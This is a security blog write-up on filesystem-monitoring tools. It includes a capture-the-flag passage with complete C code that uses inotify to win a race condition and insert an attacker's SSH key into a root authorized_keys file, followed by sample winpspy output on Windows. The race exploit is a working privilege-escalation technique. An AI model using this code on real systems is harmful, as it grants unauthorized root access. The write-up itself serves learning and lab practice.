I find the pspy tool very convenient to quickly see what is happening on a Linux system, and I wanted to do the same on Windows hosts. This short writeup describes Windows equivalent: winpspy.
pspy
I find the inotify API very convienent for monitoring filesystem activity: the libc page gives a great example on how to use it. This is a small adaptation I made for a challenge once: we have a privilege program doing every minute roughly the following:
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
To exploit the race condition, we will write our own ssh public key on /tmp/ssh-XXXXX between the touch and the cat command:
#include <errno.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
static void handle_events(int fd, int *wd, int argc, char* argv[]) {
char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event))));
const struct inotify_event *event;
ssize_t len;
for (;;) {
len = read(fd, buf, sizeof(buf));
if (len == -1 && errno != EAGAIN) {
perror("read");
exit(EXIT_FAILURE);
}
if (len <= 0)
break;
for (char *ptr = buf; ptr < buf + len;
ptr += sizeof(struct inotify_event) + event->len) {
event = (const struct inotify_event *) ptr;
// We write in the file if the filename ends ssh-XXXX (mktemp: /tmp/ssh-XXX)
if (event->mask & IN_CREATE && !(event->mask & IN_ISDIR) && strncmp(event->name, "ssh-", 4) == 0) {
char filepath[1024];
for (size_t i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
snprintf(filepath, sizeof(filepath), "%s/%s", argv[i], event->name);
break;
}
}
FILE *file = fopen(filepath, "a");
if (file) {
fputs("ssh-rsa <BASE64 SSH KEY>\n", file);
fclose(file);
printf("file written to %s\n", filepath);
}
}
if (event->mask & IN_CREATE)
printf("IN_CREATE: ");
if (event->mask & IN_OPEN)
printf("IN_OPEN: ");
if (event->mask & IN_MODIFY)
printf("IN_MODIFY: ");
if (event->mask & IN_CLOSE_NOWRITE)
printf("IN_CLOSE_NOWRITE: ");
if (event->mask & IN_CLOSE_WRITE)
printf("IN_CLOSE_WRITE: ");
for (size_t i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
printf("%s/", argv[i]);
break;
}
}
if (event->len)
printf("%s", event->name);
if (event->mask & IN_ISDIR)
printf(" [directory]\n");
else
printf(" [file]\n");
}
}
}
int main(int argc, char* argv[]) {
char buf;
int fd, i, poll_num;
int *wd;
nfds_t nfds;
struct pollfd fds[2];
if (argc < 2) {
printf("Usage: %s PATH [PATH ...]\n", argv[0]);
exit(EXIT_FAILURE);
}
printf("Press ENTER key to terminate.\n");
fd = inotify_init1(IN_NONBLOCK);
if (fd == -1) {
perror("inotify_init1");
exit(EXIT_FAILURE);
}
wd = calloc(argc, sizeof(int));
if (wd == NULL) {
perror("calloc");
exit(EXIT_FAILURE);
}
for (i = 1; i < argc; i++) {
wd[i] = inotify_add_watch(fd, argv[i], IN_OPEN | IN_CLOSE | IN_MODIFY | IN_CREATE);
if (wd[i] == -1) {
fprintf(stderr, "Cannot watch '%s': %s\n",
argv[i], strerror(errno));
exit(EXIT_FAILURE);
}
}
/* Prepare for polling. */
nfds = 2;
fds[0].fd = STDIN_FILENO; /* Console input */
fds[0].events = POLLIN;
fds[1].fd = fd; /* Inotify input */
fds[1].events = POLLIN;
printf("Listening for events.\n");
while (1) {
poll_num = poll(fds, nfds, -1);
if (poll_num == -1) {
if (errno == EINTR)
continue;
perror("poll");
exit(EXIT_FAILURE);
}
if (poll_num > 0) {
if (fds[0].revents & POLLIN) {
while (read(STDIN_FILENO, &buf, 1) > 0 && buf != '\n')
continue;
break;
}
if (fds[1].revents & POLLIN) {
handle_events(fd, wd, argc, argv);
}
}
}
printf("Listening for events stopped.\n");
close(fd);
free(wd);
exit(EXIT_SUCCESS);
}
Windows equivalent: winpspy
While doing research on an equivalent for Windows, I stumbled upon xct’s winpspy
winpspy.exe c:\
....
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\OfficeC2RClient.exe Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\vcruntime140.dll Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\backup\BBFA694D-CF27-4099-8B95-80B64F10AACA\vcruntime140_1.dll Changed [No Access/Locked]
[*] File: c:\Windows\System32\UNP\UpdateNotificationHelpers.dll Changed [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2024-07-21_150257_7008-13332.log Created [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2024-05-10_210758_5708-1872.log Deleted [No Access/Locked]
[*] File: c:\Users\test\AppData\Local\Microsoft\OneDrive\setup\logs Changed [No Access/Locked]
[*] File: c:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.resources Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly Changed [No Access/Locked]
[*] File: c:\Windows\Microsoft.NET\assembly\GAC_MSIL Changed [No Access/Locked]
It uses internally the FileSystemWatcher API that is similar to Linux’s inotify API: it basically monitors process, pipes and file changes:
The nice additional info is whether the calling user can read and or write to the file system event source:
I encourage you to experiment it on your environment: it’s a quick way to see what is going on on the host, without relying on procmon.